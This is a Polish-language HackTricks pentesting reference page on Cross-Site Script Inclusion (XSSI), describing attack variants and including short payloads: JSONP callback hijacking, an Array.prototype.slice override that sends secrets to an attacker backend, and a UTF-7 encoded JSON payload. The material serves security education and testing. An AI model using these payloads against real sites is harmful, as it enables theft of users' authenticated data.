mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
97 lines
7.8 KiB
Markdown
97 lines
7.8 KiB
Markdown
# XSSI (Cross-Site Script Inclusion)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
## Podstawowe informacje
|
|
|
|
**Cross-Site Script Inclusion (XSSI)** to podatność wynikająca z natury znacznika `script` w HTML. W przeciwieństwie do większości zasobów, które podlegają **Same-Origin Policy (SOP)**, skrypty mogą być dołączane z różnych domen. Zachowanie to ma ułatwić korzystanie z bibliotek i innych zasobów hostowanych na różnych serwerach, ale wprowadza również potencjalne ryzyko bezpieczeństwa.
|
|
|
|
### Kluczowe cechy **XSSI**:
|
|
- **Ominięcie SOP**: Skrypty są zwolnione z **Same-Origin Policy**, co pozwala na ich dołączanie między domenami.
|
|
- **Ujawnienie danych**: Atakujący może wykorzystać to zachowanie do odczytywania danych wczytanych za pomocą znacznika `script`.
|
|
- **Wpływ na dynamiczny JavaScript/JSONP**: **XSSI** jest szczególnie istotne dla dynamicznego JavaScriptu lub **JSON z Paddingiem (JSONP)**. Te technologie często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te poświadczenia (np. ciasteczka) są automatycznie dołączane do żądania.
|
|
- **Wyciek tokena uwierzytelniającego**: Jeśli atakujący może wprowadzić przeglądarkę użytkownika do wysłania żądania skryptu do serwera, którym kontroluje, może mieć dostęp do wrażliwych informacji zawartych w tych żądaniach.
|
|
|
|
### Typy
|
|
|
|
1. **Statyczny JavaScript** - Reprezentuje konwencjonalną formę XSSI.
|
|
2. **Statyczny JavaScript z uwierzytelnianiem** - Ten typ jest odrębny, ponieważ wymaga uwierzytelnienia do dostępu.
|
|
3. **Dynamiczny JavaScript** - Dotyczy JavaScriptu, który dynamicznie generuje zawartość.
|
|
4. **Non-JavaScript** - Odnosi się do podatności, które nie dotyczą bezpośrednio JavaScriptu.
|
|
|
|
**Następujące informacje są podsumowaniem [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Sprawdź go dla dalszych szczegółów.
|
|
|
|
|
|
### Regularne XSSI
|
|
W tym podejściu prywatne informacje są osadzone w globalnie dostępnym pliku JavaScript. Atakujący mogą zidentyfikować te pliki za pomocą metod takich jak odczyt pliku, wyszukiwanie słów kluczowych lub wyrażeń regularnych. Po zlokalizowaniu skryptu zawierającego poufne informacje, może on zostać dołączony do złośliwej zawartości, umożliwiając nieautoryzowany dostęp do wrażliwych danych. Poniżej przedstawiono przykładową technikę wykorzystania:
|
|
```html
|
|
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
|
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
|
```
|
|
### Dynamiczne XSSI oparte na JavaScript i uwierzytelnione XSSI
|
|
Te rodzaje ataków XSSI polegają na dynamicznym dodawaniu poufnych informacji do skryptu w odpowiedzi na żądanie użytkownika. Wykrycie można przeprowadzić, wysyłając żądania z i bez plików cookie oraz porównując odpowiedzi. Jeśli informacje różnią się, może to wskazywać na obecność poufnych informacji. Ten proces można zautomatyzować za pomocą narzędzi takich jak rozszerzenie Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
|
|
|
|
Jeśli poufne dane są przechowywane w zmiennej globalnej, można je wykorzystać za pomocą podobnych metod do tych używanych w przypadku zwykłego XSSI. Jednak jeśli poufne dane są zawarte w odpowiedzi JSONP, atakujący mogą przejąć funkcję zwrotną, aby odzyskać informacje. Można to zrobić poprzez manipulowanie obiektami globalnymi lub ustawienie funkcji do wykonania przez odpowiedź JSONP, jak pokazano poniżej:
|
|
```html
|
|
<script>
|
|
var angular = function () { return 1; };
|
|
angular.callbacks = function () { return 1; };
|
|
angular.callbacks._7 = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
leak = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
|
```
|
|
Dla zmiennych nie znajdujących się w globalnej przestrzeni nazw, czasami można wykorzystać *modyfikację prototypu*. Ta technika wykorzystuje konstrukcję języka JavaScript, w której interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywołanej właściwości. Poprzez nadpisanie określonych funkcji, takich jak `slice` w obiekcie `Array`, atakujący mogą uzyskać dostęp i wyciec nieglobalne zmienne:
|
|
```javascript
|
|
Array.prototype.slice = function(){
|
|
// leaks ["secret1", "secret2", "secret3"]
|
|
sendToAttackerBackend(this);
|
|
};
|
|
```
|
|
Dodatkowe informacje na temat wektorów ataku można znaleźć w pracy badawczej Sebastiana Lekiesa, który prowadzi listę wycieków.
|
|
|
|
### Non-Script-XSSI
|
|
Badania Takeshi Terady wprowadzają inną formę XSSI, w której pliki Non-Script, takie jak CSV, są wyciekane międzydomenowo poprzez dołączanie ich jako źródeł w tagu `script`. Historyczne przypadki XSSI, takie jak atak Jeremiaha Grossmana w 2006 roku, który pozwalał na odczytanie całej książki adresowej Google, oraz wyciek danych JSON Joe Walkera z 2007 roku, podkreślają powagę tych zagrożeń. Dodatkowo, Gareth Heyes opisuje wariant ataku, w którym wykorzystuje się kodowanie UTF-7 JSON do uniknięcia formatu JSON i wykonania skryptów, co jest skuteczne w niektórych przeglądarkach:
|
|
```javascript
|
|
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
|
```
|
|
|
|
```html
|
|
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|